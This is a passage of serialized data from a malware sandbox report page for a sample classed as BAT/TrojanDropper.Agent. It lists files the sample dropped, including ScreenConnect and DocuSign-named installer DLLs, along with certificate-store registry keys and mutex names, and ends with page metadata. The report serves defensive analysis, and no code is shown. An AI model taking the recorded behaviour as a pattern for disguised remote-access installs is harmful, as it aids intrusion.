\Microsoft\\CryptnetUrlCache\\Content\\8EC9B1D0ABBD7F98B401D425828828CE_8B93EA2B1F3B597273A7D8F04E989FD4","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\07CEF2F654E3ED6050FFC9B6EB844250_D94F4A82266DCEDAC0F3F1BFD0843F4D","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\329B6147266C1E26CD774EA22B79EC2E","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\329B6147266C1E26CD774EA22B79EC2E","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\9E5AF9A59B2A0198F537F5F6F7EBA776_57ABCF7C80DDF20409A123C0B25EDA1D","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\A334956C3F99BD182BF4859935BADE72_925A0286269529E9A1D884A0357A3E3B","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\MSIFE10.tmp","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%SAMPLEDIR%\\MSIa7966.tmp","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\MSI5691.tmp","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"\\SystemRoot\\AppPatch\\msimain.sdb","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%SAMPLEDIR%\\MSI36367.tmp","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"pipe\\SfxCA_3368656","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\ScreenConnect.InstallerActions.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\Microsoft.Deployment.WindowsInstaller.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\Microsoft.Deployment.WindowsInstaller.Package.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\ScreenConnect.Core.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\ScreenConnect.Windows.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\Microsoft.Deployment.Compression.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\Microsoft.Deployment.Compression.Cab.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%WINDIR%\\Installer\\MSI646E.tmp-\\CustomAction.config","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\MSIE844.tmp-\\DocuSign.Installer.CustomActions.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"path":"%TEMP%\\MSIE844.tmp-\\Microsoft.Deployment.WindowsInstaller.dll","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4720:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:4720:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:1336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:6420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:6420:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:6420:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:6420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6420:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6420:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6420:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7528:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7528:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:2772:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:2772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:2772:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:2772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2772:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2772:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2772:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2268:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\MSILOG_3e3b42931dd6e15gol.llatsni-looTkcabdeeF_CS_pmeT_lacoL_ataDppA_SWBUPAH_sresU_:C","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:2268:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:2268:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\_MSIExecute","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2268:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7120:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7120:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7120:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7120:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7008:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7008:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7008:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7008:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7008:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7008:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7008:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7000:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7000:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7000:64:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\Global\\MSILOG_3e3b42931dd6e15gol.llatsni-looTkcabdeeF_CS_pmeT_lacoL_ataDppA_SWBUPAH_sresU_:C","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\Global\\MSILOG_4faa74ae1dd6e15gol.egakcaPniaM_000_55539060116202_)46x_spx(_3.6.3_revirD_tnirP_ngisucoD_pmeT_lacoL_ataDppA_SWBUPAH_sresU_:C","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\Local\\SM0:3084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\RstrMgr3887CAB8-533F-4C85-B0DC-3E5639F8D511","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\RstrMgr-3887CAB8-533F-4C85-B0DC-3E5639F8D511-Session0000","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\SM0:3084:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\BaseNamedObjects\\SM0:3084:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:5348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:5348:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5036:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5036:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:5036:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:5036:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:2336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:2336:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:6500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:6500:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5136:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7972:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:5500:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:6724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:6724:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:7224:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"Local\\SM0:2908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"SM0:2908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2908:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6aee0f722b09f840790a66cd"}]}]}},"report_ids":{"sandbox_job_ids":["6aee0f722b09f840790a66cd"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious BAT/TrojanDropper.Agent Sample ad09653296d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample ad09653296d5…. Malware family: BAT/TrojanDropper.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20"}],["$","meta","4",{"property":"og:title","content":"Malicious BAT/TrojanDropper.Agent Sample ad09653296d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample ad09653296d5…. Malware family: BAT/TrojanDropper.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/ad09653296d5b1dc0ccc7e7ec3daec9c552496f71737be541ef7c8eb94e07e20"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious BAT/TrojanDropper.Agent Sample ad09653296d5… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample ad09653296d5…. Malware family: BAT/TrojanDropper.Agent. Threat score 100/100. 2/26 AV engines flagged this file. 6 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L80","11",{}]] 32:null